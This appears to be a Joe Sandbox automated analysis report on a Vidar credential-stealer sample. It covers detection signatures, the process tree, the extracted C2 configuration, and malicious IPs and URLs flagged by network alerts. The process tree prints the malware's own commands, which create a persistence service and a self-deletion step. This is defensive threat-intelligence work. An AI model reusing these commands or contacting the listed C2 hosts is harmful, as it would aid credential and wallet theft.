Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1482922
MD5:	bea49eab907af8ad2cbea9bfb807aae2
SHA1:	8efec66e57e052d6392c5cbb7667d1b49e88116e
SHA256:	9b645f570116d3e10faa316981e4fcde6fe55417feced3385cfbb815c7df8707
Tags:	exe
Infos:

Detection

Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Detected unpacking (creates a PE file in dynamic memory)

Detected unpacking (overwrites its own PE header)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Yara detected Powershell download and execute

Yara detected Vidar

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Connects to many ports of the same IP (likely port scanning)

Contains functionality to hide user accounts

Contains functionality to inject code into remote processes

Found Tor onion address

Found many strings related to Crypto-Wallets (likely being stolen)

Machine Learning detection for dropped file

Machine Learning detection for sample

Searches for specific processes (likely to inject)

Sigma detected: Execution from Suspicious Folder

Sigma detected: Suspicious New Service Creation

Sigma detected: Suspicious Program Location with Network Connections

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Binary contains a suspicious time stamp

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Connects to several IPs in different countries

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to create guard pages, often used to hinder reverse usering and debugging

Contains functionality to create new users

Contains functionality to dynamically determine API calls

Contains functionality to enumerate network shares

Contains functionality to enumerate running services

Contains functionality to execute programs as a different user

Contains functionality to launch a process as a different user

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to query network adapater information

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Deletes files inside the Windows folder

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops PE files to the windows directory (C:\Windows)

Drops files with a non-matching file extension (content does not match file extension)

Enables debug privileges

Enables security privileges

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found evasive API chain (date check)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

One or more processes crash

PE file contains an invalid checksum

PE file contains more sections than normal

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries keyboard layouts

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses cacls to modify the permissions of files

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

file.exe (PID: 5012 cmdline: "C:\Users\user\Desktop\file.exe" MD5: BEA49EAB907AF8AD2CBEA9BFB807AAE2)

BFCAAEHJDB.exe (PID: 6440 cmdline: "C:\ProgramData\BFCAAEHJDB.exe" MD5: E9CEBB30948E986C3C16E0C9EF8EC9F2)

cmd.exe (PID: 6472 cmdline: "C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\DAEGIDHDHIDG" & exit MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 6696 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

timeout.exe (PID: 5248 cmdline: timeout /t 10 MD5: 976566BEEFCCA4A159ECBDB2D4B1A3E3)

WerFault.exe (PID: 7076 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 5012 -s 3212 MD5: C31336C1EFC2CCB44B4326EA793040F2)

svchost.exe (PID: 504 cmdline: C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

BFCAAEHJDB.exe (PID: 1952 cmdline: C:\ProgramData\BFCAAEHJDB.exe MD5: E9CEBB30948E986C3C16E0C9EF8EC9F2)

euasv89vr56qz5toefmgc1.exe (PID: 3728 cmdline: C:\Users\user\AppData\Local\Temp\euasv89vr56qz5toefmgc1.exe MD5: 1455F96A3552BFFCBD01FB90A2A4447B)

sc.exe (PID: 4436 cmdline: sc.exe stop RDP-Controller MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 6884 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 1172 cmdline: sc.exe create RDP-Controller binpath= C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe type= own start= auto error= ignore MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 3260 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 6080 cmdline: sc.exe failure RDP-Controller reset= 1 actions= restart/10000 MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 6664 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 7056 cmdline: sc.exe start RDP-Controller MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 352 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

icacls.exe (PID: 2540 cmdline: icacls.exe C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\ /setowner *S-1-5-18 MD5: 48C87E3B3003A2413D6399EA77707F5D)

conhost.exe (PID: 5244 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

icacls.exe (PID: 6968 cmdline: icacls.exe C:\Users\Public /restore C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\ZsL2hKzmRChz.acl MD5: 48C87E3B3003A2413D6399EA77707F5D)

conhost.exe (PID: 5856 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

svchost.exe (PID: 1828 cmdline: C:\Windows\System32\svchost.exe -k WerSvcGroup MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

WerFault.exe (PID: 4816 cmdline: C:\Windows\SysWOW64\WerFault.exe -pss -s 428 -p 5012 -ip 5012 MD5: C31336C1EFC2CCB44B4326EA793040F2)

WerFault.exe (PID: 5764 cmdline: C:\Windows\system32\WerFault.exe -pss -s 436 -p 1524 -ip 1524 MD5: FD27D9F6D02763BDE32511B5DF7FF7A0)

main.exe (PID: 1524 cmdline: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe MD5: CFCBC15615FFC698507D32C0A7D21134)

WerFault.exe (PID: 2444 cmdline: C:\Windows\system32\WerFault.exe -u -p 1524 -s 1176 MD5: FD27D9F6D02763BDE32511B5DF7FF7A0)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: Vidar

{"C2 url": ["https://steamcommunity.com/profiles/76561199747278259"], "Botnet": "e0c99e9ff0b95355e8ec19c548ab0f83"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_Vidar_2	Yara detected Vidar	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.2762173907.000000000249D000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x1588:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000000.00000002.2762584884.00000000040A0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000000.00000002.2762584884.00000000040A0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000000.00000002.2761033099.0000000000400000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000000.00000003.2206480841.00000000040D0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000000.00000002.2762253914.000000000251A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 5012	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 5012	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 5012	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Click to see the 4 entries

Unpacked PEs

Source	Rule	Description	Author
0.3.file.exe.40d0000.1.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0.3.file.exe.40d0000.1.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0.2.file.exe.400000.0.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0.2.file.exe.40a0e67.2.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0.2.file.exe.40a0e67.2.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0.2.file.exe.400000.0.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Click to see the 1 entries

Sigma Signatures

System Summary

Sigma detected: Execution from Suspicious Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Tim Shelton: Data: Command: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe, CommandLine: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe, CommandLine|base64offset|contains: , Image: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe, NewProcessName: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe, OriginalFileName: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 5764, ProcessCommandLine: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe, ProcessId: 1524, ProcessName: main.exe

Sigma detected: Suspicious New Service Creation

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: sc.exe create RDP-Controller binpath= C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe type= own start= auto error= ignore, CommandLine: sc.exe create RDP-Controller binpath= C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe type= own start= auto error= ignore, CommandLine|base64offset|contains: r, Image: C:\Windows\System32\sc.exe, NewProcessName: C:\Windows\System32\sc.exe, OriginalFileName: C:\Windows\System32\sc.exe, ParentCommandLine: C:\Users\user\AppData\Local\Temp\euasv89vr56qz5toefmgc1.exe, ParentImage: C:\Users\user\AppData\Local\Temp\euasv89vr56qz5toefmgc1.exe, ParentProcessId: 3728, ParentProcessName: euasv89vr56qz5toefmgc1.exe, ProcessCommandLine: sc.exe create RDP-Controller binpath= C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe type= own start= auto error= ignore, ProcessId: 1172, ProcessName: sc.exe

Sigma detected: Suspicious Program Location with Network Connections

Source: Network Connection

Author: Florian Roth (Nextron Systems), Tim Shelton: Data: DestinationIp: 91.224.234.189, DestinationIsIpv6: false, DestinationPort: 50444, EventID: 3, Image: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe, Initiated: true, ProcessId: 1524, Protocol: tcp, SourceIp: 192.168.2.6, SourceIsIpv6: false, SourcePort: 49758

Sigma detected: New Service Creation Using Sc.EXE

Source: Process started

Author: Timur Zinniatullin, Daniil Yugoslavskiy, oscd.community: Data: Command: sc.exe create RDP-Controller binpath= C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe type= own start= auto error= ignore, CommandLine: sc.exe create RDP-Controller binpath= C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe type= own start= auto error= ignore, CommandLine|base64offset|contains: r, Image: C:\Windows\System32\sc.exe, NewProcessName: C:\Windows\System32\sc.exe, OriginalFileName: C:\Windows\System32\sc.exe, ParentCommandLine: C:\Users\user\AppData\Local\Temp\euasv89vr56qz5toefmgc1.exe, ParentImage: C:\Users\user\AppData\Local\Temp\euasv89vr56qz5toefmgc1.exe, ParentProcessId: 3728, ParentProcessName: euasv89vr56qz5toefmgc1.exe, ProcessCommandLine: sc.exe create RDP-Controller binpath= C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe type= own start= auto error= ignore, ProcessId: 1172, ProcessName: sc.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager, CommandLine: C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager, ProcessId: 504, ProcessName: svchost.exe

Snort Signatures

⊘No Snort rule has matched

Suricata Signatures

ET JA3 Hash - [Abuse.ch] Possible Dridex - Source IP: 192.168.2.6 - Destination IP: 5.75.212.60

Timestamp:	2024-07-26T11:27:15.505921+0200
SID:	2028765
Source Port:	49742
Destination Port:	443
Protocol:	TCP
Classtype:	Unknown Traffic

ET JA3 Hash - [Abuse.ch] Possible Dridex - Source IP: 192.168.2.6 - Destination IP: 5.75.212.60

Timestamp:	2024-07-26T11:26:42.195392+0200
SID:	2028765
Source Port:	49723
Destination Port:	443
Protocol:	TCP
Classtype:	Unknown Traffic

ET JA3 Hash - [Abuse.ch] Possible Dridex - Source IP: 192.168.2.6 - Destination IP: 5.75.212.60

Timestamp:	2024-07-26T11:27:16.958925+0200
SID:	2028765
Source Port:	49743
Destination Port:	443
Protocol:	TCP
Classtype:	Unknown Traffic

ET JA3 Hash - [Abuse.ch] Possible Dridex - Source IP: 192.168.2.6 - Destination IP: 5.75.212.60

Timestamp:	2024-07-26T11:26:41.148022+0200
SID:	2028765
Source Port:	49722
Destination Port:	443
Protocol:	TCP
Classtype:	Unknown Traffic

ET JA3 Hash - [Abuse.ch] Possible Dridex - Source IP: 192.168.2.6 - Destination IP: 5.75.212.60

Timestamp:	2024-07-26T11:27:00.845844+0200
SID:	2028765
Source Port:	49738
Destination Port:	443
Protocol:	TCP
Classtype:	Unknown Traffic

ET JA3 Hash - [Abuse.ch] Possible Dridex - Source IP: 192.168.2.6 - Destination IP: 5.75.212.60

Timestamp:	2024-07-26T11:26:37.951542+0200
SID:	2028765
Source Port:	49721
Destination Port:	443
Protocol:	TCP
Classtype:	Unknown Traffic

ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST - Source IP: 192.168.2.6 - Destination IP: 5.75.212.60

Timestamp:	2024-07-26T11:26:34.557453+0200
SID:	2049087
Source Port:	49718
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET JA3 Hash - [Abuse.ch] Possible Dridex - Source IP: 192.168.2.6 - Destination IP: 5.75.212.60

Timestamp:	2024-07-26T11:26:59.446344+0200
SID:	2028765
Source Port:	49737
Destination Port:	443
Protocol:	TCP
Classtype:	Unknown Traffic

ET JA3 Hash - [Abuse.ch] Possible Dridex - Source IP: 192.168.2.6 - Destination IP: 5.75.212.60

Timestamp:	2024-07-26T11:26:49.073576+0200
SID:	2028765
Source Port:	49732
Destination Port:	443
Protocol:	TCP
Classtype:	Unknown Traffic

ET JA3 Hash - [Abuse.ch] Possible Dridex - Source IP: 192.168.2.6 - Destination IP: 5.75.212.60

Timestamp:	2024-07-26T11:26:44.810702+0200
SID:	2028765
Source Port:	49729
Destination Port:	443
Protocol:	TCP
Classtype:	Unknown Traffic

ET JA3 Hash - [Abuse.ch] Possible Dridex - Source IP: 192.168.2.6 - Destination IP: 5.75.212.60

Timestamp:	2024-07-26T11:26:52.454530+0200
SID:	2028765
Source Port:	49734
Destination Port:	443
Protocol:	TCP
Classtype:	Unknown Traffic

ET JA3 Hash - [Abuse.ch] Possible Dridex - Source IP: 192.168.2.6 - Destination IP: 5.75.212.60

Timestamp:	2024-07-26T11:26:36.674872+0200
SID:	2028765
Source Port:	49720
Destination Port:	443
Protocol:	TCP
Classtype:	Unknown Traffic

ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected - Source IP: 198.46.178.145 - Destination IP: 192.168.2.6

Timestamp:	2024-07-26T11:27:10.093787+0200
SID:	2011803
Source Port:	80
Destination Port:	49741
Protocol:	TCP
Classtype:	Executable code was detected

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1 - Source IP: 5.75.212.60 - Destination IP: 192.168.2.6

Timestamp:	2024-07-26T11:26:35.934864+0200
SID:	2051831
Source Port:	443
Destination Port:	49719
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET JA3 Hash - [Abuse.ch] Possible Dridex - Source IP: 192.168.2.6 - Destination IP: 5.75.212.60

Timestamp:	2024-07-26T11:26:30.139325+0200
SID:	2028765
Source Port:	49714
Destination Port:	443
Protocol:	TCP
Classtype:	Unknown Traffic

ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST - Source IP: 192.168.2.6 - Destination IP: 5.75.212.60

Timestamp:	2024-07-26T11:26:33.237823+0200
SID:	2049087
Source Port:	49717
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET JA3 Hash - [Abuse.ch] Possible Dridex - Source IP: 192.168.2.6 - Destination IP: 5.75.212.60

Timestamp:	2024-07-26T11:26:43.353591+0200
SID:	2028765
Source Port:	49725
Destination Port:	443
Protocol:	TCP
Classtype:	Unknown Traffic

ET MALWARE Vidar Stealer Form Exfil - Source IP: 192.168.2.6 - Destination IP: 77.91.101.71

Timestamp:	2024-07-26T11:27:18.516067+0200
SID:	2054495
Source Port:	49744
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET JA3 Hash - [Abuse.ch] Possible Dridex - Source IP: 192.168.2.6 - Destination IP: 5.75.212.60

Timestamp:	2024-07-26T11:26:32.574914+0200
SID:	2028765
Source Port:	49717
Destination Port:	443
Protocol:	TCP
Classtype:	Unknown Traffic

ET JA3 Hash - [Abuse.ch] Possible Dridex - Source IP: 192.168.2.6 - Destination IP: 5.75.212.60

Timestamp:	2024-07-26T11:27:03.265589+0200
SID:	2028765
Source Port:	49739
Destination Port:	443
Protocol:	TCP
Classtype:	Unknown Traffic

ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected - Source IP: 5.75.212.60 - Destination IP: 192.168.2.6

Timestamp:	2024-07-26T11:26:40.028455+0200
SID:	2011803
Source Port:	443
Destination Port:	49721
Protocol:	TCP
Classtype:	Executable code was detected

ET JA3 Hash - [Abuse.ch] Possible Dridex - Source IP: 192.168.2.6 - Destination IP: 5.75.212.60

Timestamp:	2024-07-26T11:26:57.752706+0200
SID:	2028765
Source Port:	49736
Destination Port:	443
Protocol:	TCP
Classtype:	Unknown Traffic

ET JA3 Hash - [Abuse.ch] Possible Dridex - Source IP: 192.168.2.6 - Destination IP: 5.75.212.60

Timestamp:	2024-07-26T11:26:35.279919+0200
SID:	2028765
Source Port:	49719
Destination Port:	443
Protocol:	TCP
Classtype:	Unknown Traffic

ET JA3 Hash - [Abuse.ch] Possible Dridex - Source IP: 192.168.2.6 - Destination IP: 5.75.212.60

Timestamp:	2024-07-26T11:26:51.045473+0200
SID:	2028765
Source Port:	49733
Destination Port:	443
Protocol:	TCP
Classtype:	Unknown Traffic

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config - Source IP: 5.75.212.60 - Destination IP: 192.168.2.6

Timestamp:	2024-07-26T11:26:34.557892+0200
SID:	2044247
Source Port:	443
Destination Port:	49718
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET JA3 Hash - [Abuse.ch] Possible Dridex - Source IP: 192.168.2.6 - Destination IP: 5.75.212.60

Timestamp:	2024-07-26T11:26:33.910609+0200
SID:	2028765
Source Port:	49718
Destination Port:	443
Protocol:	TCP
Classtype:	Unknown Traffic

ET JA3 Hash - [Abuse.ch] Possible Dridex - Source IP: 192.168.2.6 - Destination IP: 5.75.212.60

Timestamp:	2024-07-26T11:26:31.235126+0200
SID:	2028765
Source Port:	49716
Destination Port:	443
Protocol:	TCP
Classtype:	Unknown Traffic

ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected - Source IP: 5.75.212.60 - Destination IP: 192.168.2.6

Timestamp:	2024-07-26T11:26:47.964938+0200
SID:	2011803
Source Port:	443
Destination Port:	49731
Protocol:	TCP
Classtype:	Executable code was detected

ET JA3 Hash - [Abuse.ch] Possible Dridex - Source IP: 192.168.2.6 - Destination IP: 5.75.212.60

Timestamp:	2024-07-26T11:26:46.862217+0200
SID:	2028765
Source Port:	49731
Destination Port:	443
Protocol:	TCP
Classtype:	Unknown Traffic

ET MALWARE VMProtect Packed Binary Inbound via HTTP - Likely Hostile - Source IP: 198.46.178.145 - Destination IP: 192.168.2.6

Timestamp:	2024-07-26T11:27:11.746700+0200
SID:	2009080
Source Port:	80
Destination Port:	49741
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow - Source IP: 40.127.169.103 - Destination IP: 192.168.2.6

Timestamp:	2024-07-26T11:27:21.627969+0200
SID:	2022930
Source Port:	443
Destination Port:	49747
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET JA3 Hash - [Abuse.ch] Possible Dridex - Source IP: 192.168.2.6 - Destination IP: 5.75.212.60

Timestamp:	2024-07-26T11:26:54.088551+0200
SID:	2028765
Source Port:	49735
Destination Port:	443
Protocol:	TCP
Classtype:	Unknown Traffic

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow - Source IP: 40.127.169.103 - Destination IP: 192.168.2.6

Timestamp:	2024-07-26T11:26:43.693432+0200
SID:	2022930
Source Port:	443
Destination Port:	49724
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://5.75.212.60/vcruntime140.dll;	Avira URL Cloud: Label: malware
Source: https://5.75.212.60/sqls.dll	Avira URL Cloud: Label: malware
Source: https://steamcommunity.com/profiles/76561199747278259/badges	Avira URL Cloud: Label: malware
Source: https://5.75.212.60/0	Avira URL Cloud: Label: malware
Source: https://5.75.212.60//	Avira URL Cloud: Label: malware
Source: https://banana.incognet.io/	Avira URL Cloud: Label: malware
Source: https://5.75.212.60/#	Avira URL Cloud: Label: malware
Source: https://5.75.212.60/;	Avira URL Cloud: Label: malware
Source: https://5.75.212.60/A	Avira URL Cloud: Label: malware
Source: https://t.me/armad2a	Avira URL Cloud: Label: malware
Source: https://5.75.212.60/4	Avira URL Cloud: Label: malware
Source: https://5.75.212.60/5	Avira URL Cloud: Label: malware
Source: https://5.75.212.60/2	Avira URL Cloud: Label: malware
Source: https://5.75.212.60/6	Avira URL Cloud: Label: malware
Source: https://5.75.212.60/softokn3.dllnXq	Avira URL Cloud: Label: malware
Source: https://5.75.212.60/H	Avira URL Cloud: Label: malware
Source: https://steamcommunity.com/profiles/76561199747278259	Avira URL Cloud: Label: malware
Source: https://5.75.212.60/EGIDHDHIDG	Avira URL Cloud: Label: malware
Source: https://5.75.212.60/e	Avira URL Cloud: Label: malware
Source: https://5.75.212.60/licies	Avira URL Cloud: Label: malware
Source: https://5.75.212.60/softokn3.dll	Avira URL Cloud: Label: malware
Source: https://5.75.212.60/freebl3.dllE	Avira URL Cloud: Label: malware

Found malware configuration

Source: 00000000.00000002.2762584884.00000000040A0000.00000040.00001000.00020000.00000000.sdmp

Malware Configuration Extractor: Vidar {"C2 url": ["https://steamcommunity.com/profiles/76561199747278259"], "Botnet": "e0c99e9ff0b95355e8ec19c548ab0f83"}

Multi AV Scanner detection for domain / URL

Source: arpdabl.zapto.org	Virustotal: Detection: 11%	Perma Link
Source: https://5.75.212.60/sqls.dll	Virustotal: Detection: 11%	Perma Link
Source: https://5.75.212.60//	Virustotal: Detection: 11%	Perma Link
Source: https://5.75.212.60/0	Virustotal: Detection: 5%	Perma Link
Source: https://5.75.212.60/#	Virustotal: Detection: 11%	Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\euasv89vr56qz5toefmgc1.exe

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00406D50 CryptUnprotectData,LocalAlloc,LocalFree,	0_2_00406D50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00406CD0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_00406CD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00410DF0 CryptBinaryToStringA,GetProcessHeap,HeapAlloc,CryptBinaryToStringA,	0_2_00410DF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00408980 memset,lstrlenA,CryptStringToBinaryA,PK11_GetInternalKeySlot,PK11_Authenticate,PK11SDR_Decrypt,memcpy,PK11_FreeSlot,lstrcatA,PK11_FreeSlot,lstrcatA,	0_2_00408980
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7F6C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,	0_2_6C7F6C80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C94A9A0 PK11SDR_Decrypt,PORT_NewArena_Util,SEC_QuickDERDecodeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_GetInternalKeySlot,PK11_Authenticate,PORT_FreeArena_Util,PK11_ListFixedKeysInSlot,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_FreeSymKey,PORT_FreeArena_Util,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,	0_2_6C94A9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9444C0 PK11_PubEncrypt,	0_2_6C9444C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C914420 SECKEY_DestroyEncryptedPrivateKeyInfo,memset,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,free,	0_2_6C914420
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C944440 PK11_PrivDecrypt,	0_2_6C944440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9925B0 PK11_Encrypt,memcpy,PR_SetError,PK11_Encrypt,	0_2_6C9925B0

Compliance

Detected unpacking (creates a PE file in dynamic memory)

Source: C:\ProgramData\BFCAAEHJDB.exe

Unpacked PE file: 6.2.BFCAAEHJDB.exe.3370000.2.unpack

